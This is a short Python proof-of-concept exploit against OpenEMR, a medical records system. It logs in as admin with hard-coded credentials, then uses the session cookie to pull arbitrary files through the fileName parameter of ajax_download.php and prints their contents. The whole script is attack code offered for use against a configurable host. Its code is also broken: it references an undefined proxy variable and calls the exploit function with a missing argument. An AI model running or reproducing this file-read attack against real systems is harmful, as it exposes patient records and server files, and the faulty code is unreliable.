import requests
from requests.models import Response
host='' # change this ... example http://localhost:8080
#http_proxy  ={"http":"http://127.0.0.1:9999"}
def login(host):
    complete_url=f"{host}openemr/interface/main/main_screen.php?auth=login&site=default"
    print (f"tyring to login to {complete_url}") 
    header = {"Content-Type": "application/x-www-form-urlencoded"}
    post_body_params="new_login_session_management=1&authProvider=Default&authUser=admin&clearPass=adminz&languageChoice=1"
    response = requests.post(complete_url,post_body_params,proxies=http_proxy,headers=header,allow_redirects=False)
    cookie=response.headers['Set-Cookie'].split(';')[0]
    return cookie
def exploit(cookie,filetoaccess):
    header={'Cookie':f'{cookie}'}
    vuln_url = f'{host}/openemr/custom/ajax_download.php?fileName={filetoaccess}'
    Response = requests.get(vuln_url,headers=header,proxies=http_proxy)
    print(Response.text)
cookie=login(host)
exploit(cookie)
